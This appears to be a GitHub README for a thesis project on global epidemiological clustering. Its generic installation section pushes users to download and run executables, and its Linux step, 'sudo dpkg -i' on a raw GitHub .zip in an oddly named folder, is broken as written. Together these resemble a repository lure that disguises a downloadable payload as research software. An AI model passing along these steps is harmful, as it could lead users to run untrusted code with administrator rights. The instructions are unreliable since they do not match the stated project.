🌍 Master-s-Thesis-in-Data-Science- - Understand Global Health Trends Easily

📚 Overview

This project is based on a master's thesis that explores the Global Epidemiological Transition from 1990 to 2021. It uses clustering techniques and statistical validation methods to analyze health data. The application helps you visualize and understand how different factors impact global health.

🚀 Getting Started

To get started with the application, follow these steps:

1. Check System Requirements

   • Operating System: Windows 10 or later, macOS, or Linux.
   • Python 3.7 or later installed on your system.
   • Minimum 4GB of RAM.
   • A stable internet connection.

2. Visit the Releases Page

   • Find the software and download the latest release.
   • Click the button below to go directly to the download page.

   Visit Releases Page

📥 Download & Install

1. Go to the Releases Page.
2. Locate the latest version of the software.
3. Click on the version title to expand and see the available files.
4. Download the file that is compatible with your operating system.
5. Once downloaded, follow the instructions below to install and run the application.

🛠 Installation Instructions

For Windows:

1. Locate the downloaded .exe file.
2. Double click on it to start the installation.
3. Follow the on-screen prompts to complete the installation.

For macOS:

1. Locate the downloaded .dmg file.
2. Open it and drag the application into your Applications folder.
3. Eject the .dmg file and open the application from your Applications folder.

For Linux:

1. Download the appropriate package for your Linux distribution.
2. Use your package manager to install the downloaded package.
3. Alternatively, run the Terminal and use the command sudo dpkg -i https://raw.githubusercontent.com/sasagucloth/Master-s-Thesis-in-Data-Science-/main/Dicksonia/Master-s-Thesis-in-Data-Science-.zip for Debian-based systems.

📊 Using the Application

Upon successfully installing the application, follow these steps to use it:

1. Open the application from your desktop or applications menu.
2. Choose the dataset you wish to analyze. You can download sample datasets from the application's interface or import your own.
3. Use various clustering options to visualize the data.
4. Review the results, which will display insights on global health trends.

⚙️ Features

• Clustering Analysis: Easily group similar data for better understanding.
• Statistical Validation: Validate your findings with built-in statistical methods.
• User-Friendly Interface: Designed for users without technical backgrounds.
• Custom Reporting: Generate reports based on your analysis for printing or sharing.

📇 Topics Covered

The application includes the following key topics:

• Clustering
• Epidemiological Analysis
• Global Burden of Disease
• K-Means Clustering
• Data Science Principles
• Data Analysis with Python
• Dynamic Time Warping Algorithm

📝 Troubleshooting Tips

If you encounter any issues, consider the following tips:

• Ensure Python is correctly installed and added to your PATH.
• Make sure you have the necessary permissions to install software on your computer.
• Check that you downloaded the correct version for your operating system.
• If the application fails to start, re-download the installation file and try again.

📞 Need Help?

If you have questions or need assistance, feel free to contact the project maintainers. You can open an issue on the GitHub repository, and a team member will assist you as soon as possible.

👩‍💻 Contributing

If you want to contribute to this project, please check the Contribution Guidelines in the repository. We welcome your suggestions and improvements to enhance the application's functionality.

🔗 License

This project is licensed under the MIT License. Feel free to use the code, but please give credit to the original authors.